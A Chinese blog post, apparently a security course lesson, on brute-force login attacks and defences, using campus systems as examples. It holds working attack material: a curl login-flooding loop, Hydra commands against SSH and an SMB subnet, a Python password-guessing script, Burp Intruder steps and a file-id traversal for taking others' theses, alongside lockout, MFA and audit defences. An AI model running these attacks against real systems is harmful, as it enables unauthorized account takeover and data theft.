🌀 鱼油のB10g

✦ 不定期更新技术随想

✦ 分享奇妙发现

📌 近期动态:

探索AI和工具使用...

第6章 第45.2课

《暴力破解攻防手册:从宿舍路由器破解到企业级防御实战》

—《漏洞百解》模块六深度解构


一、漏洞本质:穷举的艺术

“室友用‘admin/123456’登录图书馆预约系统,这比忘记密码还快”——校园真实场景

定义新解

def brute_force_attack(target):
while True:
credential = generate_guess()# 生成猜测凭证
if login(target, credential):# 尝试登录
return credential# 成功即停止
# 核心矛盾:攻击成本(时间/算力) vs 防御强度(锁定机制)

校园高频靶标

  • 宿舍路由器管理界面(默认密码admin/admin)
  • 课堂签到系统(学号+生日组合)
  • 电子阅览室计费系统(未限制尝试次数)

二、攻击成功双因素模型

1. 客户端效率优化

# 字典生成算法示例(基于个人信息)
def build_dictionary(username):
base = [username, 'admin', 'test']
suffixes = ['123', '2023', '!@#']
return [pwd for pwd in product(base, suffixes)]
# 输出:['admin123', 'admin2023', 'admin!@#', 'test123'...]

2. 服务端防御缺陷

# 检测无锁定策略(curl模拟攻击)
for i in {1..100}; do
curl -X POST http://lab_system/login \
-d "user=2020300000&pass=Password$i"
echo "尝试第$i次"
done
# 若持续返回"登录失败"而非锁定 → 存在漏洞

三、跨架构攻击场景全图谱

B/S场景案例

► 选课系统验证码可绕过 → Burp Intruder批量提交
► 毕业论文平台URL参数遍历:
/download?file_id=1001 → 修改id值窃取他人论文

C/S协议爆破实战(校园版)

# SSH爆破教授布置的靶机(Hydra命令)
hydra -l student -P rockyou.txt ssh://192.168.1.100 -t 4
# 参数说明:
# -l 指定用户名 -P 密码字典 -t 并发线程数
# rockyou.txt:Kali内置弱密码字典

四、漏洞危害的三级跳

graph LR A[枚举账号] --> B[获取权限] B --> C[窃取敏感数据] C --> D[内网横向渗透]

企业级灾难案例:某实习生命令hydra -L users.txt -P pass.txt smb://10.10.1.0/24 爆破出整个部门共享文件夹


五、检测手法进化论

手工到自动的阶梯训练

# 阶段1:手工测试(基础必会)
手动输入5组弱密码:admin/123456/root/p@ssw0rd/空密码

# 阶段2:半自动化(Python脚本)
import requests
with open('passwords.txt') as f:
for pwd in f.readlines():
r = requests.post(url, data={'user':'admin', 'pass':pwd.strip()})
if '欢迎' in r.text:
print(f"破解成功!密码:{pwd}")

# 阶段3:工具链(Burp Intruder)
'''
1. Proxy抓取登录请求 → Send to Intruder
2. Attack type选"Cluster bomb"
3. Payloads载入用户名+密码字典
4. 根据响应长度/状态码筛选结果
'''

六、防御矩阵设计指南

1. 强密码策略实现

# 密码强度校验函数(Django示例)
def validate_password(password):
if len(password) < 16:
raise ValidationError("密码长度需≥16位")
if not (any(c.isupper() for c in password) and
any(c.islower() for c in password) and
any(c.isdigit() for c in password) and
any(c in '!@#$%^&*' for c in password)):
raise ValidationError("需包含大小写字母、数字、特殊字符")

2. 多因素认证实践

# 企业VPN登录配置(双因子示例)
1. 输入域账号密码 → 基础认证
2. 手机接收动态令牌 → 二次验证

3. 登录审计自动化

-- 数据库记录登录行为
CREATE TABLE login_audit (
id INT AUTO_INCREMENT,
username VARCHAR(50),
ip VARCHAR(15),
status ENUM('SUCCESS','FAIL'),
timestamp DATETIME DEFAULT NOW(),
PRIMARY KEY(id)
);
-- 触发锁定:同一IP 5分钟内失败10次 → 锁定账号1小时

七、绕过艺术:验证码的攻防

绕过原理预告

► 方法1:OCR识别 → 低难度扭曲字符
pytesseract.image_to_string(captcha_img)
► 方法2:会话重用 → 捕获旧验证码重复提交
► 方法3:机器学习 → CNN训练验证码识别模型
(具体实现见《业务逻辑漏洞》章节)

防御实战沙箱

DVWA环境攻防对抗

# 启动容器化靶场
docker run -d -p 8080:80 citizenstig/dvwa

# 安全配置建议:
1. 设置DVWA安全等级为impossible
2. 修改config.inc.php启用登录锁定:
$login_lockout_threshold = 5;// 5次失败锁定
$login_lockout_duration = 300; // 锁定300秒

总结:暴力破解如同锁匠开锁——攻击者是不断尝试钥匙的窃贼,防御方则需制造更复杂的锁芯(强密码)+ 警报系统(锁定策略)+ 双重门禁(多因子认证)。掌握这套攻防逻辑,无论是保护个人路由器还是设计企业认证系统,都能建立科学防御框架 (・ω<)☆

posted on 2025-08-05 13:31  鱼油YOU  阅读(22)  评论(0)    收藏  举报